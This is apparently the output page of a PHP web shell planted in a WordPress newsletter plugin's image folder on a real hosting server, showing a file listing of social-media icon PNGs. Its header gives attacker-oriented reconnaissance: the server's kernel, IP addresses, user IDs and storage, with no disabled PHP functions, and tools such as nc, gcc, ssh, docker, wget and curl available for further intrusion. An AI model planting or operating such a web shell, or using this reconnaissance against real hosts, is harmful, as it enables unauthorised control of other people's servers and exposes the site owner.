| Linux premium13.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64 |
| LiteSpeed |
| 198.54.126.34 | Your IP: 216.73.216.79 |
| Cant read [ /etc/named.conf ] |
| [ drwxr-xr-x ] |
| / home / aurizply / cscsghana.com / wp-content / plugins / newsletter / images / social-1 / |
| Operating System | : | Linux premium13.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64 |
| User / Group | : | 1560[aurizply] / 1543[aurizply] |
| PHP Version | : | 8.3.30 |
| IP Server | : | 198.54.126.34 |
| Your IP | : | 216.73.216.79 |
| Storage | : | Total = 4.17 TB, Free = 903.39 GB [21%] |
| Domains | : | Cant read [ /etc/named.conf ] |
| Software | : | LiteSpeed |
| Disable Functions | : | All function is accessible |
| Useful Functions | : | gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh |
| Downloader | : | wget, fetch, lynx, links, curl, get, lwp-mirror |
| CURL : ON | SSH2 : OFF | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : ON | Oracle : OFF | ||
| Safe Mode : OFF | Open Basedir : NONE | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE | ||
| Name | Type | Size | Owner/Group | Permission | Last Modified | Actions |
| . | dir | - | aurizply/aurizply | drwxr-xr-x | 2026-02-26 08:59:49 | |
| .. | dir | - | aurizply/aurizply | drwxr-xr-x | 2026-02-26 08:59:49 | |
| .htaccess | text/plain | 123 B | aurizply/aurizply | -rw-r--r-- | 2026-02-26 08:59:49 | |
| amazon.png | image/png | 4.98 KB | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| bluesky.png | image/png | 3.27 KB | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| discord.png | image/png | 927 B | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| facebook.png | image/png | 663 B | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| instagram.png | image/png | 4.38 KB | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| kickstarter.png | image/png | 1.87 KB | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| linkedin.png | image/png | 736 B | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| mastodon.png | image/png | 4.87 KB | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| pinterest.png | image/png | 4.43 KB | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| soundcloud.png | image/png | 1.9 KB | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| spotify.png | image/png | 2.25 KB | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| telegram.png | image/png | 2.18 KB | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| threads.png | image/png | 1.66 KB | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| tiktok.png | image/png | 1.3 KB | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| tumblr.png | image/png | 4.16 KB | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| twitch.png | image/png | 1.46 KB | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| twitter-old.png | image/png | 893 B | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| twitter.png | image/png | 1.42 KB | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| vimeo.png | image/png | 973 B | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| vk.png | image/png | 1.78 KB | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| whatsapp.png | image/png | 1.33 KB | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 | |
| youtube.png | image/png | 724 B | aurizply/aurizply | -rw-r--r-- | 2025-12-15 05:14:41 |
© SEC